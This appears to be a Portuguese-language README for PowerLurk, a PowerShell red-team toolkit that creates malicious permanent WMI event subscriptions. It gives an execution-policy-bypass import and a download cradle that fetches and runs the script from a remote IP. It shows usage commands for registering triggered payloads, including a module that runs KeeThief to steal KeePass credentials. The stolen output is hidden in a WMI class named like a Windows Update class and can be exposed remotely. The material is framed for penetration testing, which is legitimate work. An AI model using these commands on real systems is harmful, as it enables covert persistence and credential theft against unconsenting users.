
Eventos WMI Maliciosos usando PowerShell
PowerLurk é um conjunto de ferramentas PowerShell para construir assinaturas de eventos WMI maliciosos. O objetivo é facilitar o disparo de eventos WMI durante um teste de penetração ou engajamento de red team. Consulte meu post Espreitando Usuários com Eventos WMI: Apresentando PowerLurk para informações mais detalhadas: https://pentestarmoury.com/2016/07/13/151/
Para usar o PowerLurk, você deve importar o módulo PowerLurk.ps1 em sua instância do PowerShell. Isso pode ser feito de algumas maneiras:
Importar localmente
PS> powershell.exe -NoP -Exec ByPass -C Import-Module c:\\temp\\PowerLurk.ps1
Download Cradle
PS> powershell.exe -NoP -C "IEX (New-Object Net.WebClient).DownloadString('http://<IP>/PowerLurk.ps1'); Get-WmiEvent"
Por padrão, Get-WmiEvent consulta o WMI por todas as instâncias __FilterToConsumerBinding e instâncias associadas __EventFilter e __EventConsumer. Os objetos retornados podem ser excluídos usando o pipe para Remove-WmiObject.
Retorna todos os objetos de evento WMI ativos com o nome 'RedTeamEvent'
Get-WmiEvent -Name RedTeamEvent
Twitter - @sw4mp_fox
Exclui objetos de evento WMI 'RedTeamEvent'
Get-WmiEvent -Name RedTeamEvent | Remove-WmiObject
Este cmdlet é o núcleo do PowerLurk. Ele aceita um comando, script ou scriptblock como ação e um trigger pré-definido, então cria o Filtro WMI, Consumer e FilterToConsumerBinding necessários para uma assinatura de evento WMI permanente totalmente funcional. Vários triggers ou filtros de evento WMI são pré-configurados. O trigger deve ser especificado com o parâmetro -Trigger. Existem três consumers para escolher: PermanentCommand, PermanentScript e LocalScriptBLock. Exemplo de uso:
Escreve o ID do processo notepad.exe em C:\temp\log.txt sempre que o notepad.exe iniciar
Register-MaliciousWmiEvent -EventName LogNotepad -PermanentCommand “cmd.exe /c echo %ProcessId% >> c:\\temp\\log.txt” -Trigger ProcessStart -ProcessName notepad.exe
Limpeza de evento WMI malicioso
Get-WmiEvent -Name LogNotepad | Remove-WmiObject
cria um evento WMI permanente que executará o KeeThief (Veja o KeeThief de @Harmj0y em https://github.com/adaptivethreat/KeeThief) 4 minutos após o processo 'keepass' iniciar. Isso dá tempo para o alvo fazer login em seu banco de dados KeePass.
A lógica do KeeThief e sua saída são armazenadas em um namespace e classe WMI personalizados ou em valores de registro. Se um namespace e classe WMI personalizados forem selecionados, você tem a opção de expor esse namespace para que possa ser lido remotamente por 'Everyone'. O caminho do registro e os nomes dos valores são personalizáveis usando os switches associados; no entanto, isso é opcional, pois existem padrões definidos. Exemplo de uso:
Adiciona evento KeeThiefLurker usando armazenamento de classe WMI
Add-KeeThiefLurker -EventName KeeThief -WMI
Consulta classe WMI personalizada
Get-WmiObject -Namespace root\software win32_WindowsUpdate -List
Extrai saída do KeeThief da classe WMI
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($(Get-WmiObject -Namespace root\software win32_WindowsUpdate -List).Properties['Output'].value))
Limpeza do KeeThiefLurker
Remove-KeeThiefLurker -EventName KeeThief -WMI
Twitter - @sw4mp_f0x